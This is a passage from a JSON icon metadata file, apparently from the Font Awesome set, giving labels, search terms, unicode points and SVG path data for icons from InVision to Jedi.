        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M483.049 159.706c10.855-24.575 21.424-60.438 21.424-87.871 0-72.722-79.641-98.371-209.673-38.577-107.632-7.181-211.221 73.67-237.098 186.457 30.852-34.862 78.271-82.298 121.977-101.158C125.404 166.85 79.128 228.002 43.992 291.725 23.246 329.651 0 390.94 0 436.747c0 98.575 92.854 86.5 180.251 42.006 31.423 15.43 66.559 15.573 101.695 15.573 97.124 0 184.249-54.294 216.814-146.022H377.927c-52.509 88.593-196.819 52.996-196.819-47.436H509.9c6.407-43.581-1.655-95.715-26.851-141.162zM64.559 346.877c17.711 51.15 53.703 95.871 100.266 123.304-88.741 48.94-173.267 29.096-100.266-123.304zm115.977-108.873c2-55.151 50.276-94.871 103.98-94.871 53.418 0 101.981 39.72 103.981 94.871H180.536zm184.536-187.6c21.425-10.287 48.563-22.003 72.558-22.003 31.422 0 54.274 21.717 54.274 53.722 0 20.003-7.427 49.007-14.569 67.867-26.28-42.292-65.986-81.584-112.263-99.586z"
      }
    },
    "free": ["brands"]
  },
  "invision": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": ["app", "design", "interface"]
    },
    "styles": ["brands"],
    "unicode": "f7b0",
    "label": "InVision",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M407.4 32H40.6C18.2 32 0 50.2 0 72.6v366.8C0 461.8 18.2 480 40.6 480h366.8c22.4 0 40.6-18.2 40.6-40.6V72.6c0-22.4-18.2-40.6-40.6-40.6zM176.1 145.6c.4 23.4-22.4 27.3-26.6 27.4-14.9 0-27.1-12-27.1-27 .1-35.2 53.1-35.5 53.7-.4zM332.8 377c-65.6 0-34.1-74-25-106.6 14.1-46.4-45.2-59-59.9.7l-25.8 103.3H177l8.1-32.5c-31.5 51.8-94.6 44.4-94.6-4.3.1-14.3.9-14 23-104.1H81.7l9.7-35.6h76.4c-33.6 133.7-32.6 126.9-32.9 138.2 0 20.9 40.9 13.5 57.4-23.2l19.8-79.4h-32.3l9.7-35.6h68.8l-8.9 40.5c40.5-75.5 127.9-47.8 101.8 38-14.2 51.1-14.6 50.7-14.9 58.8 0 15.5 17.5 22.6 31.8-16.9L386 325c-10.5 36.7-29.4 52-53.2 52z"
      }
    },
    "free": ["brands"]
  },
  "ioxhost": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f208",
    "label": "ioxhost",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M616 160h-67.3C511.2 70.7 422.9 8 320 8 183 8 72 119 72 256c0 16.4 1.6 32.5 4.7 48H24c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h67.3c37.5 89.3 125.8 152 228.7 152 137 0 248-111 248-248 0-16.4-1.6-32.5-4.7-48H616c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24zm-96 96c0 110.5-89.5 200-200 200-75.7 0-141.6-42-175.5-104H424c13.3 0 24-10.8 24-24 0-13.3-10.7-24-24-24H125.8c-3.8-15.4-5.8-31.4-5.8-48 0-110.5 89.5-200 200-200 75.7 0 141.6 42 175.5 104H216c-13.3 0-24 10.8-24 24 0 13.3 10.7 24 24 24h298.2c3.8 15.4 5.8 31.4 5.8 48zm-304-24h208c13.3 0 24 10.7 24 24 0 13.2-10.7 24-24 24H216c-13.3 0-24-10.7-24-24 0-13.2 10.7-24 24-24z"
      }
    },
    "free": ["brands"]
  },
  "italic": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f033"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "emphasis", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f033",
    "label": "Italic",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M128 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H293.3L160 416h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H90.7L224 96H160c-17.7 0-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M128 64c0-17.7 14.3-32 32-32H352c17.7 0 32 14.3 32 32s-14.3 32-32 32H293.3L160 416h64c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H90.7L224 96H160c-17.7 0-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "itch-io": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83a",
    "label": "itch.io",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M71.92 34.77C50.2 47.67 7.4 96.84 7 109.73v21.34c0 27.06 25.29 50.84 48.25 50.84 27.57 0 50.54-22.85 50.54-50 0 27.12 22.18 50 49.76 50s49-22.85 49-50c0 27.12 23.59 50 51.16 50h.5c27.57 0 51.16-22.85 51.16-50 0 27.12 21.47 50 49 50s49.76-22.85 49.76-50c0 27.12 23 50 50.54 50 23 0 48.25-23.78 48.25-50.84v-21.34c-.4-12.9-43.2-62.07-64.92-75C372.56 32.4 325.76 32 256 32S91.14 33.1 71.92 34.77zm132.32 134.39c-22 38.4-77.9 38.71-99.85.25-13.17 23.14-43.17 32.07-56 27.66-3.87 40.15-13.67 237.13 17.73 269.15 80 18.67 302.08 18.12 379.76 0 31.65-32.27 21.32-232 17.75-269.15-12.92 4.44-42.88-4.6-56-27.66-22 38.52-77.85 38.1-99.85-.24-7.1 12.49-23.05 28.94-51.76 28.94a57.54 57.54 0 0 1-51.75-28.94zm-41.58 53.77c16.47 0 31.09 0 49.22 19.78a436.91 436.91 0 0 1 88.18 0C318.22 223 332.85 223 349.31 223c52.33 0 65.22 77.53 83.87 144.45 17.26 62.15-5.52 63.67-33.95 63.73-42.15-1.57-65.49-32.18-65.49-62.79-39.25 6.43-101.93 8.79-155.55 0 0 30.61-23.34 61.22-65.49 62.79-28.42-.06-51.2-1.58-33.94-63.73 18.67-67 31.56-144.45 83.88-144.45zM256 270.79s-44.38 40.77-52.35 55.21l29-1.17v25.32c0 1.55 21.34.16 23.33.16 11.65.54 23.31 1 23.31-.16v-25.28l29 1.17c-8-14.48-52.35-55.24-52.35-55.24z"
      }
    },
    "free": ["brands"]
  },
  "itunes": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b4",
    "label": "iTunes",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M223.6 80.3C129 80.3 52.5 157 52.5 251.5S129 422.8 223.6 422.8s171.2-76.7 171.2-171.2c0-94.6-76.7-171.3-171.2-171.3zm79.4 240c-3.2 13.6-13.5 21.2-27.3 23.8-12.1 2.2-22.2 2.8-31.9-5-11.8-10-12-26.4-1.4-36.8 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 3.2-3.6 2.2-2 2.2-80.8 0-5.6-2.7-7.1-8.4-6.1-4 .7-91.9 17.1-91.9 17.1-5 1.1-6.7 2.6-6.7 8.3 0 116.1.5 110.8-1.2 118.5-2.1 9-7.6 15.8-14.9 19.6-8.3 4.6-23.4 6.6-31.4 5.2-21.4-4-28.9-28.7-14.4-42.9 8.4-8 20.3-9.6 38-12.8 3-.5 5.6-1.2 7.7-3.7 5-5.7.9-127 2.6-133.7.4-2.6 1.5-4.8 3.5-6.4 2.1-1.7 5.8-2.7 6.7-2.7 101-19 113.3-21.4 115.1-21.4 5.7-.4 9 3 9 8.7-.1 170.6.4 161.4-1 167.6zM345.2 32H102.8C45.9 32 0 77.9 0 134.8v242.4C0 434.1 45.9 480 102.8 480h242.4c57 0 102.8-45.9 102.8-102.8V134.8C448 77.9 402.1 32 345.2 32zM223.6 444c-106.3 0-192.5-86.2-192.5-192.5S117.3 59 223.6 59s192.5 86.2 192.5 192.5S329.9 444 223.6 444z"
      }
    },
    "free": ["brands"]
  },
  "itunes-note": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b5",
    "label": "Itunes Note",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M381.9 388.2c-6.4 27.4-27.2 42.8-55.1 48-24.5 4.5-44.9 5.6-64.5-10.2-23.9-20.1-24.2-53.4-2.7-74.4 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 6.4-7.2 4.4-4.1 4.4-163.2 0-11.2-5.5-14.3-17-12.3-8.2 1.4-185.7 34.6-185.7 34.6-10.2 2.2-13.4 5.2-13.4 16.7 0 234.7 1.1 223.9-2.5 239.5-4.2 18.2-15.4 31.9-30.2 39.5-16.8 9.3-47.2 13.4-63.4 10.4-43.2-8.1-58.4-58-29.1-86.6 17-16.2 40.9-19.5 76.8-25.8 6-1.1 11.2-2.5 15.6-7.4 10.1-11.5 1.8-256.6 5.2-270.2.8-5.2 3-9.6 7.1-12.9 4.2-3.5 11.8-5.5 13.4-5.5 204-38.2 228.9-43.1 232.4-43.1 11.5-.8 18.1 6 18.1 17.6.2 344.5 1.1 326-1.8 338.5z"
      }
    },
    "free": ["brands"]
  },
  "j": {
    "aliases": {
      "unicodes": {
        "composite": ["6a"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter J", "Latin Small Letter J", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4a",
    "label": "J",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M288 32c17.7 0 32 14.3 32 32V320c0 88.4-71.6 160-160 160S0 408.4 0 320V288c0-17.7 14.3-32 32-32s32 14.3 32 32v32c0 53 43 96 96 96s96-43 96-96V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M288 32c17.7 0 32 14.3 32 32V320c0 88.4-71.6 160-160 160S0 408.4 0 320V288c0-17.7 14.3-32 32-32s32 14.3 32 32v32c0 53 43 96 96 96s96-43 96-96V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "jar": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["jam", "jelly", "storage"]
    },
    "styles": ["solid"],
    "unicode": "e516",
    "label": "Jar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767418,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm96 64c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H96z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm96 64c-17.7 0-32 14.3-32 32v96c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H96z"
      }
    },
    "free": ["solid"]
  },
  "jar-wheat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["flour", "storage"]
    },
    "styles": ["solid"],
    "unicode": "e517",
    "label": "Jar Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767421,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm112 0H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 198 90 224 122.2 224H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7zm48 117.7c-11.7-13.3-28.9-21.7-48-21.7H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 294 90 320 122.2 320H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7zM112 352H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 390 90 416 122.2 416H144v32c0 8.8 7.2 16 16 16s16-7.2 16-16V416h21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M32 32C32 14.3 46.3 0 64 0H256c17.7 0 32 14.3 32 32s-14.3 32-32 32H64C46.3 64 32 49.7 32 32zM0 160c0-35.3 28.7-64 64-64H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V160zm112 0H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 198 90 224 122.2 224H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7zm48 117.7c-11.7-13.3-28.9-21.7-48-21.7H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 294 90 320 122.2 320H144h32 21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7zM112 352H69.8c-3.2 0-5.8 2.6-5.8 5.8C64 390 90 416 122.2 416H144v32c0 8.8 7.2 16 16 16s16-7.2 16-16V416h21.8c32.1 0 58.2-26 58.2-58.2c0-3.2-2.6-5.8-5.8-5.8H208c-19.1 0-36.3 8.4-48 21.7c-11.7-13.3-28.9-21.7-48-21.7z"
      }
    },
    "free": ["solid"]
  },
  "java": {
    "changes": ["5.0.10", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f4e4",
    "label": "Java",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M277.74 312.9c9.8-6.7 23.4-12.5 23.4-12.5s-38.7 7-77.2 10.2c-47.1 3.9-97.7 4.7-123.1 1.3-60.1-8 33-30.1 33-30.1s-36.1-2.4-80.6 19c-52.5 25.4 130 37 224.5 12.1zm-85.4-32.1c-19-42.7-83.1-80.2 0-145.8C296 53.2 242.84 0 242.84 0c21.5 84.5-75.6 110.1-110.7 162.6-23.9 35.9 11.7 74.4 60.2 118.2zm114.6-176.2c.1 0-175.2 43.8-91.5 140.2 24.7 28.4-6.5 54-6.5 54s62.7-32.4 33.9-72.9c-26.9-37.8-47.5-56.6 64.1-121.3zm-6.1 270.5a12.19 12.19 0 0 1-2 2.6c128.3-33.7 81.1-118.9 19.8-97.3a17.33 17.33 0 0 0-8.2 6.3 70.45 70.45 0 0 1 11-3c31-6.5 75.5 41.5-20.6 91.4zM348 437.4s14.5 11.9-15.9 21.2c-57.9 17.5-240.8 22.8-291.6.7-18.3-7.9 16-19 26.8-21.3 11.2-2.4 17.7-2 17.7-2-20.3-14.3-131.3 28.1-56.4 40.2C232.84 509.4 401 461.3 348 437.4zM124.44 396c-78.7 22 47.9 67.4 148.1 24.5a185.89 185.89 0 0 1-28.2-13.8c-44.7 8.5-65.4 9.1-106 4.5-33.5-3.8-13.9-15.2-13.9-15.2zm179.8 97.2c-78.7 14.8-175.8 13.1-233.3 3.6 0-.1 11.8 9.7 72.4 13.6 92.2 5.9 233.8-3.3 237.1-46.9 0 0-6.4 16.5-76.2 29.7zM260.64 353c-59.2 11.4-93.5 11.1-136.8 6.6-33.5-3.5-11.6-19.7-11.6-19.7-86.8 28.8 48.2 61.4 169.5 25.9a60.37 60.37 0 0 1-21.1-12.8z"
      }
    },
    "free": ["brands"]
  },
  "jedi": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f669"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["crest", "force", "sith", "skywalker", "star wars", "yoda"]
    },
    "styles": ["solid"],
    "unicode": "f669",
    "label": "Jedi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M246 315.7l-21.2-31.9c-2.1-3.2-1.7-7.4 1-10.1s6.9-3.1 10.1-1l29.5 19.7c2.1 1.4 4.9 0 5-2.6L279.7 8c.1-4.5 3.8-8 8.3-8s8.1 3.5 8.3 8l9.4 281.9c.1 2.5 2.9 3.9 5 2.6l29.5-19.7c3.2-2.1 7.4-1.7 10.1 1s3.1 6.9 1 10.1L330 315.7c-1.3 1.9-.2 4.5 2 4.9l37.6 7.5c3.7 .7 6.4 4 6.4 7.8s-2.7 7.1-6.4 7.8L332 351.4c-2.2 .4-3.3 3-2 4.9l21.2 31.9c2.1 3.2 1.7 7.4-1 10.1s-6.9 3.1-10.1 1l-26.3-17.6c-2.2-1.4-5.1 .2-5 2.8l2.1 61.5C370.6 435.2 416 382.9 416 320c0-37-15.7-70.4-40.8-93.7c-7-6.5-6.5-18.6 1-24.4C410.1 175.5 432 134.3 432 88c0-16.8-2.9-33-8.2-48c-4.6-13 10.2-30 21.4-22c53.5 38 92.7 94.8 107.8 160.7c.5 2.1-.2 4.3-1.7 5.9l-28.4 28.4c-4 4-1.2 10.9 4.5 10.9h26c3.4 0 6.2 2.6 6.3 6c.1 3.3 .2 6.6 .2 10c0 17.5-1.7 34.7-4.8 51.3c-.2 1.2-.9 2.4-1.7 3.3l-46.5 46.5c-4 4-1.2 10.9 4.5 10.9H526c4.6 0 7.7 4.8 5.7 9C487.2 450.5 394.8 512 288 512S88.8 450.5 44.3 361c-2.1-4.2 1-9 5.7-9H64.5c5.7 0 8.6-6.9 4.5-10.9L22.6 294.6c-.9-.9-1.5-2-1.7-3.3C17.7 274.7 16 257.5 16 240c0-3.3 .1-6.7 .2-10c.1-3.4 2.9-6 6.3-6h26c5.7 0 8.6-6.9 4.5-10.9L24.6 184.6c-1.5-1.5-2.2-3.8-1.7-5.9C38.1 112.8 77.3 56 130.8 18c11.3-8 26 8.9 21.4 22c-5.3 15-8.2 31.2-8.2 48c0 46.3 21.9 87.5 55.8 113.9c7.5 5.8 8 17.9 1 24.4C175.7 249.6 160 283 160 320c0 62.9 45.4 115.2 105.1 126l2.1-61.5c.1-2.6-2.8-4.2-5-2.8l-26.3 17.6c-3.2 2.1-7.4 